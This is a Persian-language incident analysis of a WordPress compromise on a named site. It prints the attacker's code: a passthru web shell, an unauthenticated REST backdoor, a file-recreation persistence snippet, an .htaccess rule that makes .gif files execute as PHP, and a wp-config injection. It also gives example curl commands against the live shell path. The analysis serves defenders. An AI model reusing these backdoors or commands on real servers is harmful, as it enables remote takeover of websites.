Main Vulnerability & Persistent Mechanism Description - packpolymer.com

---

Introduction

پلاگین `wp2shell-rest` حاوی کدهای مخرب و قابلیت ایجاد Persistence در محیط WordPress بوده است. یکی از مکانیزم‌های شناسایی‌شده، تزریق کد در فایل `functions.php` قالب فعال بود.
این کد با بررسی وجود فایل `c_cf1b939ad0003f02.php_` ، در صورت حذف شدن آن، مجدداً فایل را ایجاد می‌کرد؛ بنابراین حذف مستقیم Web Shell بدون حذف منبع Persistence، منجر به بازتولید آن می‌شد.

این Web Shell ایجادشده قابلیت دریافت پارامترهای ورودی از طریق HTTP و انتقال آن‌ها به توابع اجرای دستورات سیستم‌عامل مانند `passthru` را داشت. در نتیجه، مهاجم پس از دستیابی به این نقطه می‌توانست دستورات دلخواه را در سطح کاربر سرویس وب اجرا کند.(مانند اجرای Administrator)

همچنین در کد تزریق‌شده مکانیزم‌های دیگری برای ایجاد ماندگاری و تسهیل اجرای کد مشاهده شد؛ از جمله ایجاد یا تغییر `htaccess.` در مسیر `wp-` به‌منظور امکان تفسیر فایل‌هایی با پسوندهای `content/uploads` غیرمعمول به‌عنوان PHP و تغییر `wp-config.php` جهت فعال‌سازی `FS_METHOD=direct` .

با توجه به قابلیت اجرای دستورات سیستم‌عامل، این آسیب‌پذیری باید به‌عنوان یک رخداد **Critical / Compromise** در نظر گرفته شود، نه صرفاً یک آسیب‌پذیری معمول WordPress. همچنین ایجاد حساب‌های Administrator غیرمجاز و نصب سایر مؤلفه‌های مخرب نشان می‌دهد که از این دسترسی برای حفظ کنترل و گسترش دسترسی در وب‌سایت نیز استفاده شده است.

Attack Mechanism

Description

همانطور که توضیح دادیم این حمله سه پارت اصلی داشت:

1. پلاگین wp2shell-rest
2. فایل `functions.php` در تم فعال(Hello-Elementor)
3. فایل Web Shell در ریشه وبسایت `c_cf1b939ad0003f02.php_`

قلب این حمله در functions.php انجام میشد که امکان بازتولید و ایجاد Persistence را فراهم میساخت. در ادامه کدها و مکانیزم استفاده شده برای این حمله را توضیح میدهیم.

`functions.php` => Line 1 Shell Codes

- *خط 1:*

  در خط اول فایل که البته ترکیب حدودی 100 خط کد است که One Liners شده اند از Shell Codes هایی استفاده شده الگوی واضح **obfuscation** است:

1. استفاده از `goto` های متعدد و labelهای تصادفی
2. نام متغیرهای تصادفی

- Hex-escaped strings مثل `\x68\x74\x74\x70` → `http`
- `@$_REQUEST[...]` برای دریافت ورودی مهاجم
- تو در تو و ساختار عمداً غیرقابل‌خواندن hash

با توجه به اینکه همین `functions.php` حاوی Web Shell ، `w2s_cron` و command execution بوده، این قسمت را نیز malicious فرض کرد مگر اینکه با Decryption و رمزگشایی آن خلاف آن ثابت شود(البته با بررسی این احتمال به بیش از 95 درصد رسیده است)

- تصویر:



`functions.php` => **w2s_cron**

- *خطوط: 3 تا 6(علت بازتولید):*

وظیفه بررسی ریشه وبسایت و ساخت فایل `c_cf1b939ad0003f02.php_` را دارد. در واقع حتی اگر فایل را حذف کنیم این قسمت مجددا آنرا ایجاد میکند.

```php
?><?php
/* w2s_cron */
$w=defined("ABSPATH")?rtrim(ABSPATH,"/"):(getcwd()?:_
{$f="$w/_c_cf1b939ad0003f02.php";if(!file_exists($f))
{@file_put_contents($f,base64_decode('PD9waHAgaWYoaXN
?>
```

`functions.php` => **w2s_ht**

- *خطوط 7 تا 10(وظیفه تفسیر gif به کامپایلر php):*

این قسمت بسیار خطرناک است. اصولا در دایرکتوری `wp-contents/uploads` هیچ فایل php نباید وجود داشته باشد و حتی

برنامه نویسان با استفاده از مکانیزم های امنیتی مانند `htaccess` از اجرا و وجود فایل های php درون این مسیر جلوگیری میکنند.

حال این قسمت هدفش این است که در `uploads` فایل `gif` با کامپایلر `php` تفسیر و اجرا شوند. یعنی هکر می‌تواند یک فایل ظاهراً `gif.` حاوی PHP ایجاد کند و با این `htaccess.` آن را executable کند.

هکر با اینکار مکانیزم امنیتی را دور زده و همچنین یافتن فایل های مخرب را دشوارتر میکند.

این قسمت هم یک **Persistence / execution mechanism** دیگری است.

```php
<?php
/* w2s_ht */
$w=defined("ABSPATH")?rtrim(ABSPATH,"/"):
(getcwd()?:__DIR__);while($w!=="/"&&dirname($w)!==$w&
{$w=dirname($w);}if(!is_file("$w/wp-config.php")){$w=
{$u=defined('WP_CONTENT_DIR')?WP_CONTENT_DIR:"$w/wp-
content";$h=$u.'/uploads/.htaccess';if(!@file_exists(
httpd-php')===false){@file_put_contents($h,"AddType a
application/x-httpd-php .gif\n");}}
?>
```

`functions.php` => **w2s_fs_method**

- *خطوط 11 تا 14(تزریق FS_METHOD=direct به wp-config.php):*

این کد ابتدا مسیر نصب WordPress را پیدا می‌کند و سپس بررسی می‌کند که آیا `FS_METHOD` در `wp-config.php` تعریف شده است یا خیر. در صورت نبودن آن، مقدار زیر را به انتهای فایل اضافه می‌کند:

هدف این کار در Malware، فراهم‌کردن امکان مدیریت مستقیم فایل‌های WordPress توسط PHP بدون نیاز به FTP credentials است.

```php
<?php
/* w2s_fs_method */
$w=defined("ABSPATH")?rtrim(ABSPATH,"/"):
(getcwd()?:__DIR__);while($w!=="/"&&dirname($w)!==$w&
{$w=dirname($w);}if(!is_file("$w/wp-config.php")){$w=
config.php";$c=@file_get_contents($f);if($c!==false&&
{@file_put_contents($f,"\nif(!defined('FS_METHOD'))
{define('FS_METHOD','direct');}\n",FILE_APPEND);}}
?>
```

functions.php => w2s_root

- *خطوط 311 تا 313(ایجاد OS Command Execution Backdoor):*

این قسمت یک *OS Command Execution Backdoor* است که در واقع مهمترین قسمت Malware است.

یعنی مهاجم می‌تواند از طریق HTTP درخواست بفرستد و command سیستم‌عامل را روی سرور اجرا کند.

بنابراین این دیگر صرفاً WordPress malware نیست؛ هکر عملاً یک *web-based command execution backdoor* را در هاست ایجاد کرده است.

```php
// w2s-root
if(isset($_GET['x'])&&!is_admin()){$c=$_GET['x'];$m=
['passthru','system','shell_exec','exec','popen','pro
{if(function_exists($n)){if($n==='passthru'){passthru
{system($c.' 2>&1');exit;}if($n==='shell_exec'){echo
2>&1');exit;}if($n==='exec'){$o=[];exec($c.' 2>&1',$o
implode(chr(10),$o);exit;}if($n==='popen'){$p=popen($
stream_get_contents($p);pclose($p);exit;}}if($n==='pr
['pipe','w'],['pipe','w']];$p=@proc_open($c,$d,$g);if
```

```
{fclose($g[0]);$o=stream_get_contents($g[1]);fclose($
$o;exit;}}}}}
```

Final Chain in functions.php

- **Compromised Theme functions.php:**
  1. w2s_cron => recreates `_c_cf1b939ad0003f02.php`
  2. w2s_ht => makes .gif executable as PHP
  3. w2s_fs_method => modifies wp-config.php
  4. w2s-root => HTTP → OS command execution

`_c_cf1b939ad0003f02.php`

این فایل یک Web Shell / OS Command Execution Backdoor است.
تکه کد زیر:

```php
if(isset($_GET['c'])||isset($_GET['x']))
```

پارامتر `c` یا `x` را از درخواست HTTP دریافت میکند و سپس مقدار دریافتی را مستقیماً به `passthru()` میدهد:

```php
passthru($v.' 2>&1');
```

در نتیجه، مهاجم می‌توانسته از طریق یک درخواست HTTP، دستور دلخواه سیستم‌عامل را روی سرور اجرا کرده و خروجی آن را دریافت کند.
`2>&1` نیز باعث می‌شود stderr(خطای کامند) به stdout(خروجی کامند) هدایت شود تا خطاهای اجرای command نیز در پاسخ برگردند.

- نتیجه: این فایل عملاً یک Remote Command Execution Web Shell بوده است.

- تمامی کدهای فایل:

```php
<?php if(isset($_GET['c'])||isset($_GET['x']))
{$v=isset($_GET['c'])?
$_GET['c']:$_GET['x'];passthru($v.' 2>&1');exit;}?>
```

wp2shell.php

این Plugin عملاً یک Command Execution Backdoor در قالب WordPress Plugin ایجاد میکند و دو مسیر برای اجرای command فراهم می‌کند.

1. **مسیر اول: GET Backdoor**

```php
if(isset($_GET['c'])&&isset($_GET['t'])&&hash_equals(
```

تکه کد بالا منتظر پارامترهای `c` و `t` است. مقدار `t` به‌عنوان یک secret token بررسی می‌شود. سپس آرایه زیر با `()chr` به کلمه passthru تبدیل میشود:

```php
[112,97,115,115,116,104,114,117]
```

- *نتیجه:* هکر با داشتن token صحیح می‌توانسته command موجود در `c` را روی سرور اجرا کند.

2. **مسیر دوم: WordPress REST API**

پلاگین یک endpoint مخفی REST API ثبت می‌کند:

```php

```

```
/wp-json/wp2shell/v1/18fe406e9788d366d7281694
#or
permission_callback' => '__return_true
```

یعنی endpoint *بدون احراز هویت WordPress* قابل دسترسی است.

کامند نیز به‌صورت Base64(رمزنگاری شده) ارسال می‌شود:

```php
base64_decode($c)
```

و سپس با `()passthru` اجرا می‌شود.

- نتیجه: این Plugin یک Unauthenticated Remote Command Execution Backdoor در WordPress ایجاد کرده است.

Multiple Layers for Access: `functions.php => w2s-root` & `_c_cf1b939ad0003f02.php`

- **سوال:** `c_cf1b939ad0003f02.php_` با وجود `w2s-root` چه کاربردی دارد؟
- **پاسخ:** این دو Backdoor مجزا ولی مرتبط بهم هستند.
  وجود `w2s-root` داخل `functions.php` خودش امکان اجرای command از طریق `=x?` را فراهم می‌کرد؛ بنابراین از نظر قابلیت، Web Shell جداگانه‌ای بود.

اما `c_cf1b939ad0003f02.php_` یک Persistence و Backdoor مستقل بود که توسط `w2s_cron` ایجاد و در صورت حذف مجدداً ساخته می‌شد.

- **مزیت داشتن فایل مستقل برای هکر:**
  1. مستقل از WordPress request lifecycle قابل فراخوانی است.
  2. حتی اگر Plugin اصلی حذف شود، تا زمانی که کد `w2s_cron` باقی است دوباره ایجاد می‌شود.

3. یک مسیر ساده و مستقیم برای Command Execution فراهم می‌کند.
4. حذف یک Backdoor الزاماً دسترسی مهاجم را از بین نمی‌برد و میتواند از دیگری استفاده کند.

پس از دید Incident Response، وجود چند مکانیزم اجرای command نشان می‌دهد مهاجم صرفاً یک exploit موقت نداشته، *بلکه عمداً چند لایه دسترسی و Persistence ایجاد کرده است.*

Hacker Usage Method

از نظر فنی، مهاجم می‌توانسته با یک HTTP client مثل `curl` یا ابزارهایی مانند Burp Suite/Postman درخواست HTTP ساخته و command را به Backdoor ارسال کند.

برای `c_cf1b939ad0003f02.php_`، مکانیزم درخواست به‌صورت مفهومی چنین بوده:

```
GET /_c_cf1b939ad0003f02.php?c=<OS_COMMAND>

#Examples:
GET /_c_cf1b939ad0003f02.php?c=ls
GET /_c_cf1b939ad0003f02.php?c=whoami
GET /_c_cf1b939ad0003f02.php?c=pwd
```

یعنی مثلاً مهاجم از یک HTTP client مانند `curl` درخواست اجرا کامند را ارسال میکرده است:

```
#دریافت مشخصات سیستم عامل
```

```
curl "https://packpolymer.com/_c_cf1b939ad0003f02.php?c=whoami"

#نمایش فایل ها
curl "https://packpolymer.com/_c_cf1b939ad0003f02.php?c=ls%20-la"

#دانلود فایل خاص بر روی هاست
curl "https://packpolymer.com/_c_cf1b939ad0003f02.php?c=wget%20..."
```

برای REST API نیز همین مفهوم وجود دارد، با این تفاوت که command باید طبق کد Plugin به صورت *Base64* در پارامتر `c` ارسال شود. سپس endpoint آن را decode و اجرا می‌کرد.